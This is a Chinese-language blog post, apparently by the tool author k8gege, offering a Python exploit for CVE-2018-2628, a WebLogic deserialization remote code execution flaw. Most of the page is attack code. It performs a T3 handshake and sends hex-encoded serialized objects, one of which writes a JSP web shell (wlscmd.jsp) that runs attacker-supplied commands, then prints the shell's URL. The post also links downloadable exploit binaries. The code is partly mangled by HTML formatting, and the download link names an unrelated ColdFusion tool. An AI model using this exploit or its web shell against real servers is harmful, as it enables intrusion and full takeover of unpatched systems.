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<!DOCTYPE HTML>

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漏洞威胁：RCE--远程代码执行

漏洞组件：weblogic

影响版本：10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3

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CVE-2018-2628 Weblogic GetShell Exploit |

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CVE-2018-2628 Weblogic GetShell Exploit

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<a class="tag-link" href="/tags/Exp/" rel="tag">Exp</a> <a class="tag-link" href="/tags/GetShell/" rel="tag">GetShell</a> <a class="tag-link" href="/tags/Tool/" rel="tag">Tool</a> <a class="tag-link" href="/tags/Weblogic/" rel="tag">Weblogic</a>

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<ul>

<li>漏洞威胁：RCE--远程代码执行</li>

<li>漏洞组件：weblogic</li>

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<pre class="brush:python;gutter:true;"># -*- coding: utf-8 -*-

# Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) Deserialization Remote Command Execution Vulnerability (CVE-2018-2628)

<p>from <strong>future</strong> import print_function</p>

<p>import binascii<br>import os<br>import socket<br>import sys<br>import time</p>

<p>def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):</p>

<pre><code>#k8cmd weblogic http://192.11.22.67:7001/bea_wls_internal/wlscmd.jsp

return "aced00057372002f6f72672e6170616368652e636f6d6d6f6e732e66696c6575706c6f61642e6469736b2e4469736b46696c654974656d1f0d7226839a887103000a5a000b6973466f726d4669656c644a000473697a6549000d73697a655468726573686f6c645b000d636163686564436f6e74656e747400025b424c000b636f6e74656e74547970657400124c6a6176612f6c616e672f537472696e673b4c000864666f7346696c6574000e4c6a6176612f696f2f46696c653b4c00096669656c644e616d6571007e00024c000866696c654e616d6571007e00024c00076865616465727374002f4c6f72672f6170616368652f636f6d6d6f6e732f66696c6575706c6f61642f46696c654974656d486561646572733b4c000a7265706f7369746f727971007e0003787000ffffffffffffffff00000000757200025b42acf317f8060854e00200007870000002d43c25407061676520696d706f72743d226a6176612e696f2e2a22253e0d0a3c25407061676520696d706f72743d2273756e2e6d6973632e4241534536344465636f64657222253e0d0a3c250d0a747279207b0d0a537472696e6720636d64203d20726571756573742e676574506172616d657465722822746f6d22293b0d0a537472696e6720706174683d6170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574526571756573745552492829293b0d0a537472696e67206469723d227765626c6f676963223b0d0a696628636d642e657175616c7328224e7a55314e672229297b6f75742e7072696e7428225b535d222b6469722b225b455d22293b7d0d0a627974655b5d2062696e617279203d204241534536344465636f6465722e636c6173732e6e6577496e7374616e636528292e6465636f646542756666657228636d64293b0d0a537472696e67206b636d64203d206e657720537472696e672862696e617279293b0d0a50726f63657373206368696c64203d2052756e74696d652e67657452756e74696d6528292e65786563286b636d64293b0d0a496e70757453747265616d20696e203d206368696c642e676574496e70757453747265616d28293b0d0a6f75742e7072696e7428222d3e7c22293b0d0a696e7420633b0d0a7768696c6520282863203d20696e2e7265616428292920213d202d3129207b0d0a6f75742e7072696e742828636861722963293b0d0a7d0d0a696e2e636c6f736528293b0d0a6f75742e7072696e7428227c3c2d22293b0d0a747279207b0d0a6368696c642e77616974466f7228293b0d0a7d2063617463682028496e746572727570746564457863657074696f6e206529207b0d0a652e7072696e74537461636b547261636528293b0d0a7d0d0a7d2063617463682028494f457863657074696f6e206529207b0d0a53797374656d2e6572722e7072696e746c6e2865293b0d0a7d0d0a253e7400186170706c69636174696f6e2f6f637465742d73747265616d707400047465737471007e0009707372000c6a6176612e696f2e46696c65042da4450e0de4ff0300014c00047061746871007e0002787074004d736572766572735c41646d696e5365727665725c746d705c5f574c5f696e7465726e616c5c6265615f776c735f696e7465726e616c5c396a3464716b5c7761725c776c73636d642e6a7370c0807702005c7878"</code></pre><p>def t3_handshake(sock, server_addr):<br> sock.connect(server_addr)<br> sock.send(‘74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a’.decode(‘hex’))<br> time.sleep(1)<br> sock.recv(1024)<br> print(‘handshake successful’)</p>

<p>def build_t3_request_object(sock, port):<br> data1 = ‘000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371’<br> data2 = ‘007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07’.format(‘{:04x}’.format(dport))<br> data3 = ‘1a7727000d3234322e323134’<br> data4 = ‘2e312e32353461863d1d0000000078’<br> for d in [data1,data2,data3,data4]:<br> sock.send(d.decode(‘hex’))<br> time.sleep(2)<br> print(‘send request payload successful,recv length:%d’%(len(sock.recv(2048))))</p>

<p>def send_payload_objdata(sock, data):<br> payload=’056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000’<br> payload+=data<br> payload+=’fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff’<br> payload = ‘%s%s’%(‘{:08x}’.format(len(payload)/2 + 4),payload)<br> sock.send(payload.decode(‘hex’))<br> time.sleep(2)<br> sock.send(payload.decode(‘hex’))<br> res = ‘’<br> try:<br> while True:<br> res += sock.recv(4096)<br> time.sleep(0.1)<br> except Exception:<br> pass<br> return res</p>

<p>def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):<br> print(‘——————————————–’)<br> print(‘Weblogic GetShell Exploit for CVE-2018-2628’)<br> print(‘by k8gege build 20180426’)<br> print(‘——————————————–’)<br> print(“sending payload”);<br> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br> sock.settimeout(8)<br> server_addr = (dip, dport)<br> t3_handshake(sock, server_addr)<br> build_t3_request_object(sock, dport)<br> payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)</p>

<pre><code>rs=send_payload_objdata(sock, payload)

#print('response: ' + rs)

print('exploit completed!')

print('shell: http://'+dip+':'+str(dport)+"/bea_wls_internal/wlscmd.jsp")

print('Please use the k8fly connection shell')</code></pre><p>if <strong>name</strong>==”<strong>main</strong>“:<br> if len(sys.argv) != 3:<br> print(‘——————————————–’)<br> print(‘Weblogic GetShell Exploit for CVE-2018-2628’)<br> print(‘by k8gege build 20180426’)<br> print(‘Usage: exploit [weblogic ip] [weblogic port]’)<br> print(‘——————————————–’)<br> sys.exit()</p>

<pre><code>dip = sys.argv[1]

dport = int(sys.argv[2])

exploit(dip, dport, "", "", "", "")</code></pre><p></p></pre><p></p>

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<p><strong>0x001 .net版</strong><br>exp功能<br>1 探测weblogic版本<br>2 GetShell<br><br>运行环境 .net 2.0<br><br><strong>0x002 python版</strong><br>Exp-2018-2628.exe 附python代码<br>Poc-2018-2628.exe 仅检测是否存在漏洞</p>

<p>链接: <a href="https://github.com/k8gege/K8tools/raw/master/ColdFusion 8 LFI EXP_20160414[K.8].rar" target="_blank">https://github.com/k8gege/K8tools/raw/master/ColdFusion 8 LFI EXP_20160414[K.8].rar</a></p>

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